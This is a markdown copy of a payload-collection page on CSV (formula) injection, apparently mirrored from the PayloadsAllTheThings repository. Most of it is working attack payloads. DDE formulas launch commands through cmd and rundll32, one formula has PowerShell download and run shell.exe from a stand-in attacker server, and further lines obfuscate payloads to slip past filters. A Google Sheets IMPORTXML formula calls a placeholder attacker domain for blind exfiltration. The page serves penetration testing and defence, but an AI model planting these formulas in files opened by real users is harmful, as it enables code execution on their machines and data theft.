index.md (4413B)
1 --- 2 title: "CSV Injection" 3 topic: "CSV Injection" 4 topicSlug: "csv-injection" 5 sourcePath: "CSV Injection/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/CSV%20Injection/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # CSV Injection 12 13 > Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. 14 15 ## Summary 16 17 * [Methodology](#methodology) 18 * [Google Sheets](#google-sheets) 19 * [References](#references) 20 21 ## Methodology 22 23 CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with: 24 25 ```text 26 = 27 + 28 – 29 @ 30 ``` 31 32 Basic exploits with **Dynamic Data Exchange**. 33 34 * Spawn a calc 35 36 ```text 37 DDE ("cmd";"/C calc";"!A0")A0 38 @SUM(1+1)*cmd|' /C calc'!A0 39 =2+5+cmd|' /C calc'!A0 40 =cmd|' /C calc'!'A1' 41 ``` 42 43 * PowerShell download and execute 44 45 ```text 46 =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 47 ``` 48 49 * Prefix obfuscation and command chaining 50 51 ```text 52 =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A 53 =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A 54 = cmd|'/c calc.exe'!A 55 ``` 56 57 * Using rundll32 instead of cmd 58 59 ```text 60 =rundll32|'URL.dll,OpenURL calc.exe'!A 61 =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A 62 ``` 63 64 * Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed. 65 66 ```text 67 = C m D | '/ c c al c . e x e ' ! A 68 ``` 69 70 Technical details of the above payloads: 71 72 * `cmd` is the name the server can respond to whenever a client is trying to access the server 73 * `/C` calc is the file name which in our case is the calc(i.e the calc.exe) 74 * `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data 75 76 ### Google Sheets 77 78 Google Sheets allows some additional formulas that are able to fetch remote URLs: 79 80 * [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale) 81 * [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string) 82 * [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index) 83 * [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items]) 84 * [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url) 85 86 So one can test blind formula injection or a potential for data exfiltration with: 87 88 ```text 89 =IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href") 90 ``` 91 92 Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization. 93 94 ## References 95 96 * [CSV Excel Macro Injection - Timo Goosen, Albinowax - June 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection) 97 * [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://web.archive.org/web/20251126193606/https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection) 98 * [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - November 30, 2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/) 99 * [From CSV to Meterpreter - Adam Chester - November 5, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/) 100 * [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - October 7, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html) 101 * [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://web.archive.org/web/20220928031043/https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation) 102 * [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://web.archive.org/web/20260115180627/https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)